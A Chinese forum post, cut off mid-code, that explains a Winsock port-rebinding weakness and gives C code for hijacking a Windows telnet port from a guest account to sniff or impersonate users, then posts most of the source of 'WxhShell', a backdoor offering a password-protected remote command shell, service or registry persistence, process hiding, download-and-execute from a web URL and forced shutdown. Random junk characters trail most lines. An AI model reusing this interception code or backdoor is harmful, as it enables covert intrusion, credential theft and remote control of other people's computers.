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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \k?Fu=@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PL;PId<9w  
[1 pWg^  
  saddr.sin_family = AF_INET; `a$-"tW~j  
drr W?U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QWqEe|}6  
Q8] lz}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $)UMRG  
0L3v[%_j"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O=2"t%Gc  
P ?- #d\qi  
  这意味着什么?意味着可以进行如下的攻击: xq#YBi,  
N3J T[7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZbmBwW_ 7  
!Ee#jCXS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uBdS}U  
_gAU`aO^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *fz]Q>2ga  
)U6-&-07  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X~m*`UH  
rA<>k/a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~ ZkSYW<  
,ALEfepo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;5i~McH# t  
Dt)O60X3>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p6UPP|-S  
qnFi./  
  #include ii< /!B(  
  #include PVK. %y9  
  #include BU3VXnqT[  
  #include    Y9YE:s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kU*Fif  
  int main() ??X3teO{  
  { IP#w  
  WORD wVersionRequested; BZ2frG\0&I  
  DWORD ret; 0keqtr  
  WSADATA wsaData; 2P&KU%D)0s  
  BOOL val; <oFZFlY@  
  SOCKADDR_IN saddr; =f FTi1]/h  
  SOCKADDR_IN scaddr; y7iHB k"^:  
  int err; $2tPqZ>  
  SOCKET s; n U0  
  SOCKET sc; S6Er# )k  
  int caddsize; >bgx o<  
  HANDLE mt; # Uc0 W  
  DWORD tid;   /' +GYS  
  wVersionRequested = MAKEWORD( 2, 2 ); s{QS2G$5  
  err = WSAStartup( wVersionRequested, &wsaData ); 0a1Vj56{)  
  if ( err != 0 ) { W~EDLLZ  
  printf("error!WSAStartup failed!\n"); uyE_7)2d  
  return -1; p#k>BHgnF  
  } 4&)4hF  
  saddr.sin_family = AF_INET; hv]}b'M$  
   orT%lHwjL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WF'Di4   
8-f2$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m+jW+  
  saddr.sin_port = htons(23); 0uw3[,I   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pwu8LQ3b{O  
  { !YM;5vte+  
  printf("error!socket failed!\n"); #$W bYL|  
  return -1; \Z?.Po`!j  
  } -XbO[_Wf  
  val = TRUE; {pzu1*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5V"Fy&}:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $|0?$U7!  
  { L%h Vts'  
  printf("error!setsockopt failed!\n"); [/P}1 c[)U  
  return -1; 3U.?Jbm-8  
  } VG)Y$S8.>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8w 2$H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3#d?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <KBzZ !n5  
aDDs"DXx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) In3},x +$  
  { }3^b1D>2O  
  ret=GetLastError(); W*S !}ZT`  
  printf("error!bind failed!\n"); ;!k{{Xndd  
  return -1; kdr?I9kwW  
  } !F^j\  
  listen(s,2); >Rnj6A|Q  
  while(1) FQ" ;v"  
  { l.Psh7B2  
  caddsize = sizeof(scaddr); bVLuv`A/  
  //接受连接请求 Xa=M{x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K3CTxU(  
  if(sc!=INVALID_SOCKET) ?zS t  
  { dg(fD>+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JGLjx"Y  
  if(mt==NULL) JA")L0a_  
  { #z( JYw,  
  printf("Thread Creat Failed!\n"); Y{Yp N  
  break; vX9B^W||x  
  } z?b[ 6DLV;  
  } )bl'' yO  
  CloseHandle(mt); z~Ec*  
  } |aaoi4OJ  
  closesocket(s); 7H,p/G?]k  
  WSACleanup(); T+$Af,~  
  return 0; 6+Y^A})(F-  
  }   A_:YpQ07@  
  DWORD WINAPI ClientThread(LPVOID lpParam) }@ +{;"  
  { W5&;PkhQ6  
  SOCKET ss = (SOCKET)lpParam; o<pb!]1  
  SOCKET sc; G`Ix-dADJm  
  unsigned char buf[4096]; lZ\8$,B)  
  SOCKADDR_IN saddr; );m7;}gE  
  long num; P S$6`6G  
  DWORD val; p!XB\%sv'"  
  DWORD ret; dxz.%a@PW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xlhc`wdm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T#>1$0yv  
  saddr.sin_family = AF_INET; 7GyJmzEE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KX|7mr90K  
  saddr.sin_port = htons(23); %wc=Mf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Z>O2  
  { t 7(#Cuv-  
  printf("error!socket failed!\n"); dHAI4Yf4U  
  return -1; \nX5 $[  
  } m4 :|  
  val = 100; 0\Q/$#3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z*M]AvO+#  
  { Fq-A vU  
  ret = GetLastError(); McXid~  
  return -1; @@])B#  
  } BB>R=kt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !_ng_,J  
  { YNRorE   
  ret = GetLastError(); LKEf#mp  
  return -1; m\Xgvpv rP  
  } ['G@`e*\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F$!K/Mm[  
  { 9q4%s?)j  
  printf("error!socket connect failed!\n"); O6P{+xj$  
  closesocket(sc); 03{pxI  
  closesocket(ss); 5Az4<  
  return -1; [1 ?  
  } \["'%8[:gR  
  while(1) 'f?=ks<  
  { b!pG&7P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hxw 7Q?F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j$he5^GC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;QiSz=DyA  
  num = recv(ss,buf,4096,0); iaq+#k@V  
  if(num>0) |KC!6<}T~9  
  send(sc,buf,num,0); Pd~{XM,yfW  
  else if(num==0) C `>1x`n  
  break; '5*8'.4Sy  
  num = recv(sc,buf,4096,0); !^,<nP  
  if(num>0) BnB]]<gO"  
  send(ss,buf,num,0); t3w:!' Ato  
  else if(num==0) 5Y#W$Fx($R  
  break; [Ju5O[o  
  } o-m9}pV  
  closesocket(ss); N N1(f  
  closesocket(sc); .5'_5>tkv  
  return 0 ; 2<  "-  
  } &* Aems{-  
7a0kat '\  
Q#Vg5H4  
========================================================== V"r2 t9A  
ZbZCW:8>k  
下边附上一个代码,,WXhSHELL zS6oz=  
HZ+l){u  
========================================================== -/7[\S  
Pr!H>dH8o  
#include "stdafx.h" `E4+#_ v  
Q)$RE{*-  
#include <stdio.h> 1 po.Cmx  
#include <string.h> t}!Y}D  
#include <windows.h> o~(/Twxam  
#include <winsock2.h> \MY`R  
#include <winsvc.h> Q.$|TbVfds  
#include <urlmon.h> ';\v:dP  
&t1Uk[  
#pragma comment (lib, "Ws2_32.lib") S 6|#9C&  
#pragma comment (lib, "urlmon.lib") :d!qZFln  
Vzs_g]V  
#define MAX_USER   100 // 最大客户端连接数 j&c YRKpz  
#define BUF_SOCK   200 // sock buffer B F,8[|%#  
#define KEY_BUFF   255 // 输入 buffer RAh4#8]  
whoQA}X>  
#define REBOOT     0   // 重启 @C?.)#  
#define SHUTDOWN   1   // 关机 OX  r%b  
*?-,=%,z/  
#define DEF_PORT   5000 // 监听端口 k'(eQ5R3L  
FVgE^_  
#define REG_LEN     16   // 注册表键长度 /3!c ;(  
#define SVC_LEN     80   // NT服务名长度 DC-tBbQkk  
a9"1a'  
// 从dll定义API KcK,%!>B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k|Syw ATr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o-f;$]yp>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ==?!z<I.d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |BC/ERms  
A0@E^bG  
// wxhshell配置信息 He}uE0^  
struct WSCFG { p:/#nmC<  
  int ws_port;         // 监听端口 &Oxf^x["]  
  char ws_passstr[REG_LEN]; // 口令 !L=RhMI  
  int ws_autoins;       // 安装标记, 1=yes 0=no +'@j~\>^yJ  
  char ws_regname[REG_LEN]; // 注册表键名 nc.(bb),  
  char ws_svcname[REG_LEN]; // 服务名 2jUEL=+Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FD+y?UF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \?VNr2   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .:nV^+)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C~ r(*nr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A.%MrgOOX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TGxmc37?  
,*r}23  
}; z87_/(nu  
:9O"?FE  
// default Wxhshell configuration `/4 R$E{  
struct WSCFG wscfg={DEF_PORT, &>T7]])  
    "xuhuanlingzhe", dYn<L/#  
    1, *wd@YMOP  
    "Wxhshell", O2n[`9*  
    "Wxhshell", ]((Ix,ggP  
            "WxhShell Service", ALOS>Bi&  
    "Wrsky Windows CmdShell Service", icw (y(W  
    "Please Input Your Password: ", "~|;XoMU  
  1, WA$Ug  
  "http://www.wrsky.com/wxhshell.exe", r) SG!;X  
  "Wxhshell.exe" 8F;f&&L"y  
    }; @}8~TbP  
b;O@|HK&~  
// 消息定义模块 %^?yI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ylo/]pVs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @7fx0I'n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W7 .Y`u[  
char *msg_ws_ext="\n\rExit."; \H -,^[G3  
char *msg_ws_end="\n\rQuit."; N"M?kk,  
char *msg_ws_boot="\n\rReboot..."; O.HaEg/-  
char *msg_ws_poff="\n\rShutdown..."; v[*&@aW0n  
char *msg_ws_down="\n\rSave to "; "{lw;AA5F  
3%NbT  
char *msg_ws_err="\n\rErr!"; H ({Y  
char *msg_ws_ok="\n\rOK!"; }R\9y bv  
l?rT_uO4  
char ExeFile[MAX_PATH]; dZ"B6L!^(  
int nUser = 0; nB+UxU@  
HANDLE handles[MAX_USER]; p#  4@  
int OsIsNt; qVidubsW  
9wB}EDZ  
SERVICE_STATUS       serviceStatus; uHNh|ew21  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -{=c T?"+  
e+? -#  
// 函数声明 2=[deQs  
int Install(void); D#pZN,'  
int Uninstall(void); 5e|2b] f$  
int DownloadFile(char *sURL, SOCKET wsh); waYH_)Zx  
int Boot(int flag); dPtQ Sa  
void HideProc(void); yE6EoC^  
int GetOsVer(void); AvxP0@.`  
int Wxhshell(SOCKET wsl); :-.K.Ch|:  
void TalkWithClient(void *cs); Jy?#@/~  
int CmdShell(SOCKET sock); (X(296<;  
int StartFromService(void); nG+L'SmI  
int StartWxhshell(LPSTR lpCmdLine); DsI{*#  
M*xt9'Yd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YM(` E9{h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Cd_i[K[  
j&qJK,~  
// 数据结构和表定义 `Qg#`  
SERVICE_TABLE_ENTRY DispatchTable[] = fho$:S  
{ [tP6FdS/M=  
{wscfg.ws_svcname, NTServiceMain}, \`MX\OR  
{NULL, NULL} f5droys9  
}; Og8'K=O#  
|K jy4.2  
// 自我安装 2^TJ_xG~  
int Install(void) =64%eF  
{ 0nDlqy6b1b  
  char svExeFile[MAX_PATH]; JOA_2qa>\  
  HKEY key; {;kH&Pp  
  strcpy(svExeFile,ExeFile); :AzP3~BI  
F:P&hK  
// 如果是win9x系统,修改注册表设为自启动 +~H mP Q  
if(!OsIsNt) { ' >F_y t9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 82q_"y>6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5V($|3PI  
  RegCloseKey(key); FV1!IE-}-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [HV9KAoA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q7VpKfA:M  
  RegCloseKey(key);  Du*O|  
  return 0; LM~,`#3 Ru  
    } AVx 0aj  
  } yVP 1=pz_[  
} -H;%1y$A-  
else { qU/,&C  
sY#iGEf  
// 如果是NT以上系统,安装为系统服务 :M%s:,]R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }"{NW!RfP  
if (schSCManager!=0) sHr!GF  
{ rf%NfU  
  SC_HANDLE schService = CreateService v.aSf`K  
  ( m&h5u,  
  schSCManager, ~5f|L(ODX  
  wscfg.ws_svcname, 5X'com?T  
  wscfg.ws_svcdisp, [8sL);pJO  
  SERVICE_ALL_ACCESS, X`QfOs#\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  B3Yj  
  SERVICE_AUTO_START, NUclF|G  
  SERVICE_ERROR_NORMAL, Ju~8C\Dd  
  svExeFile, 9m:qQ1[\  
  NULL, 3}}#'5D  
  NULL,  9kkYD  
  NULL, OFtAT@ =O  
  NULL, 'za4c4b*u  
  NULL TN=MZ{L  
  ); sT^^#$ub  
  if (schService!=0) OSvv\3=  
  { nvyyV\w  
  CloseServiceHandle(schService); #$qhxYyd  
  CloseServiceHandle(schSCManager); jq4{UW'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fR4O^6c:  
  strcat(svExeFile,wscfg.ws_svcname); TAbC-T.EV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tvC7LLNP<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Lj28&4:<  
  RegCloseKey(key); (S@H'G"  
  return 0; r}gp{Pf7e  
    } +bj[.  
  } ` _+j+  
  CloseServiceHandle(schSCManager); lIN`1vX(  
} #Moju  
} f y|Ae  
mST/u>'  
return 1; fYU-pdWPT  
} #\&jM -.-  
KL4Z||n  
// 自我卸载 E+65  
int Uninstall(void) JQ*CF(9  
{ D\:~G}M  
  HKEY key; sf|[oD  
TV>UD q  
if(!OsIsNt) { CVi3nS5Yl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;tR,w   
  RegDeleteValue(key,wscfg.ws_regname); D [#1~M  
  RegCloseKey(key); }v[$uT-q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (> v1)*r  
  RegDeleteValue(key,wscfg.ws_regname); 8: KlU(J  
  RegCloseKey(key); ]0HlPP:2  
  return 0;   0%  
  } !50Fue^JM  
} 7[l "=  
} 0!n6tz lT  
else { >^@/Ba$h  
XK)qDg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <tEN1i  
if (schSCManager!=0) Ou _bM n  
{ CbJ ]}Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ACg5"  
  if (schService!=0) T[iwP~l  
  { |zV-a2K%J  
  if(DeleteService(schService)!=0) { 3 *o l  
  CloseServiceHandle(schService); x)h p3&L  
  CloseServiceHandle(schSCManager); x. 7Ln9  
  return 0; Y%UfwbX!g  
  } _fH.#C  
  CloseServiceHandle(schService); .1yp}&e#  
  } %2<G3]6^U  
  CloseServiceHandle(schSCManager); ]F@XGJN  
} ^n|u$gIF8  
} [Hn4&PET  
> dJvl|  
return 1; T(<C8  
} (R*K)(Nw[  
3wEVjT-  
// 从指定url下载文件 #:v e3gWl  
int DownloadFile(char *sURL, SOCKET wsh) -*sDa6L  
{ 7W[}7Y   
  HRESULT hr; oEE*H2l\  
char seps[]= "/"; !\a'GO[  
char *token; p;dH[NW  
char *file; a X>bC-  
char myURL[MAX_PATH]; BzqM$F( L,  
char myFILE[MAX_PATH]; |pv:'']J  
Qa nE]  
strcpy(myURL,sURL); d/8I&{.  
  token=strtok(myURL,seps); w. gI0`  
  while(token!=NULL) a;Q6S  
  { -<gGNj.x-  
    file=token; |0?h6  
  token=strtok(NULL,seps); D>u1ngu  
  } *dn~-W.  
\N\Jny  
GetCurrentDirectory(MAX_PATH,myFILE); DiyviH  
strcat(myFILE, "\\"); +$:bzo_u  
strcat(myFILE, file); CT@JNG$<"  
  send(wsh,myFILE,strlen(myFILE),0); #h@/~xr  
send(wsh,"...",3,0); R 2uo ZA,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !3{> F"  
  if(hr==S_OK) C>q,c3s5  
return 0; V:rq}F}  
else **V^8'W<  
return 1; :,$:@  
MfhJb_q`  
} LYPjdp2>"o  
W'2|hP  
// 系统电源模块 {I|iUfy  
int Boot(int flag) hL#5:~(  
{ $UMxO`F  
  HANDLE hToken; GZ# 6}/;b  
  TOKEN_PRIVILEGES tkp; $srb!&~_>  
LB_y lfg  
  if(OsIsNt) { k&4@$;Ap  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3jIi$X06  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =dD<[Iz6  
    tkp.PrivilegeCount = 1; ?b0VB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MR/jM@8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (MiEXU~v  
if(flag==REBOOT) { j?ihUNY!+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C2;qSKG3{m  
  return 0; G\S\Qe{P~  
} ngoo4}  
else { O1pBr=+j+{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u+eA>{  
  return 0; 7a Fvj  
} zhbp"yju7  
  } 9 WsPBzi"T  
  else { $d M: 5y  
if(flag==REBOOT) { [vkz<sL"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M7 &u_Cn?  
  return 0; ~d :Z |8  
} s7 IaU|m  
else { !8^:19+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) je1f\N45  
  return 0; *R.Q!L v+  
} TIbqUR  
} jW5n^Y)  
"$KU +?  
return 1; 8;YeEW 5  
} vr<6j/ty  
$}0q=Lg%wv  
// win9x进程隐藏模块 0S <;T+WA  
void HideProc(void) /T`L;YE  
{ "Zd4e2>{M\  
B#'TF?HUEn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TQDb\d8,f  
  if ( hKernel != NULL ) [H-,zY  
  { 1\:puC\)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R{.5Z/Vp6E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W8j)2nKD  
    FreeLibrary(hKernel); L DD^X@q  
  } d?(#NP#;  
Q.H y"~  
return; nYG$V)iCb  
} dg/OjiD[P  
4Y5Q>2D}  
// 获取操作系统版本 B RF=TL5Z  
int GetOsVer(void) u1a5Vtel  
{ rMIr&T  
  OSVERSIONINFO winfo; ,@ A1eX}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sXp>4MomV  
  GetVersionEx(&winfo); #95.KkF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h(!x&kZq.  
  return 1; 1UX"iO x(  
  else 59gt#1k  
  return 0; jPg8>Z&D  
} EzOO6  
2@ vSe  
// 客户端句柄模块 -M}#-qwf  
int Wxhshell(SOCKET wsl) ;u!qu$O  
{ aObWd5~  
  SOCKET wsh; ]Y Q[ )  
  struct sockaddr_in client; >=-w2&  
  DWORD myID; vwDnz /-  
Yz;Hu$/  
  while(nUser<MAX_USER) WbC|2!  
{ Tct8NG  
  int nSize=sizeof(client); k L2(M6m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7ET^,6  
  if(wsh==INVALID_SOCKET) return 1; p ASNiH698  
VH7VJ [  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @ROMHMd}  
if(handles[nUser]==0) @0A7d $J(  
  closesocket(wsh); @mBZu!,  
else N*w/\|  
  nUser++; kFmd):U!R  
  } %7 h _D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )K.~A&y@  
@.ebQR-:H  
  return 0; v'0A$`w`  
} Ovh  
z?`&HU Nf  
// 关闭 socket >oi`%V  
void CloseIt(SOCKET wsh) \G}EI|Wo  
{ V.5gxr3QqW  
closesocket(wsh); q y73  
nUser--; 57IAH$n8o  
ExitThread(0); ^c3~CD5H 3  
} 6KPM4#61o  
;$Q `JN=  
// 客户端请求句柄 bI.LE/yk  
void TalkWithClient(void *cs) 3a #2 }  
{ rlr)n\R#  
:&ir5xHS  
  SOCKET wsh=(SOCKET)cs; <4S Y'-w  
  char pwd[SVC_LEN]; IMLk{y%6  
  char cmd[KEY_BUFF]; ,2T&33m  
char chr[1]; tZmo= 3+:  
int i,j; <a7y]Py  
j|"#S4IX)F  
  while (nUser < MAX_USER) { |F z/9+I  
fH? e9E4l  
if(wscfg.ws_passstr) { 5BnO-[3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]b!o(5m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B}_*0D  
  //ZeroMemory(pwd,KEY_BUFF); uu L"o  
      i=0; c'nEbelE  
  while(i<SVC_LEN) { /tI8JXcUK  
O@r%G0Jge  
  // 设置超时 UN#XP$utY  
  fd_set FdRead; ~pA_E!3W  
  struct timeval TimeOut; dC8 $Ql^<  
  FD_ZERO(&FdRead); "!()yjy  
  FD_SET(wsh,&FdRead); x`K<z J   
  TimeOut.tv_sec=8; "&*O7cs$pA  
  TimeOut.tv_usec=0; SskvxH+7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f*KNt_|:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p2 u*{k{  
mUY+v>F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `s93P^%  
  pwd=chr[0]; ]V*s-och'  
  if(chr[0]==0xd || chr[0]==0xa) { :U_k*9z}=  
  pwd=0; cM%I5F+n  
  break; _$%.F| :  
  } _7r<RZ  
  i++; RGFanP  
    } "L^]a$&  
<uZ r.X  
  // 如果是非法用户,关闭 socket vw VeHjR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @\0U`*]^)  
} 0 `%eP5  
\M0-$&[+Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P34UD:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7(cRm$)L  
1!_$HA  
while(1) { [.Vy  
Z5 iP1/&D  
  ZeroMemory(cmd,KEY_BUFF); |O3wAxc3W  
Xkc y~e  
      // 自动支持客户端 telnet标准    tKOTQ8i4  
  j=0; R:c$f(aKv%  
  while(j<KEY_BUFF) { &R+/Ie#0dz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e;L++D  
  cmd[j]=chr[0]; Q\.~cIw_AQ  
  if(chr[0]==0xa || chr[0]==0xd) { x`n$4a'7b  
  cmd[j]=0; "SC}C  
  break; xR;>n[6  
  } D^qto{!  
  j++; Sy|fX_i  
    } aphfzo  
..BIoSrj  
  // 下载文件 "ee:Z_Sz  
  if(strstr(cmd,"http://")) { ybLl[K(D=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2F* spu  
  if(DownloadFile(cmd,wsh)) B].V|8h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nmI os]B  
  else buV {O[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pQv`fr=  
  } ]DVZeI03@  
  else { Qj;wk lq  
iUDNm|e  
    switch(cmd[0]) { ~D# -i >Z  
  2;h4$^`dt  
  // 帮助 q"){P RTm/  
  case '?': { n N.6?a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BUcPMF%\y:  
    break; .*\TG/x  
  } .Z%y16)T  
  // 安装 eC`} oEz  
  case 'i': { |f5WN&c  
    if(Install()) 32h}+fd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ; _tu  
    else k1Z"Qmz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B(tLV9B3Q  
    break; j9Qd 45  
    } `pr$l  
  // 卸载 7#/->Y  
  case 'r': { U9w0kcUw#J  
    if(Uninstall()) #r5IwyL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (gW#T\Eln  
    else t~vOm   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,U`:IP/L  
    break; ^h wF=  
    } 9!'qLO  
  // 显示 wxhshell 所在路径 f</'=k  
  case 'p': { ]q!,onJ  
    char svExeFile[MAX_PATH]; >s0A.7,5  
    strcpy(svExeFile,"\n\r"); +xoh=m  
      strcat(svExeFile,ExeFile); a)L\+$@*  
        send(wsh,svExeFile,strlen(svExeFile),0); 581Jp'cje  
    break;  TA;r  
    } ."`mh&+`  
  // 重启 /QuuBtp  
  case 'b': { &CP0T:h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9$ GA s  
    if(Boot(REBOOT)) as#_Fer`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:[1,rRvT  
    else { 25EuVj`zL  
    closesocket(wsh); r 0m A  
    ExitThread(0); m~7[fgN2  
    } MU_8bK9m  
    break; i'XW)n  
    } N RB>X  
  // 关机 LPuc&8lGWf  
  case 'd': { wXUP%i]i=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O*qSc^9q  
    if(Boot(SHUTDOWN)) dKk\"6 o  
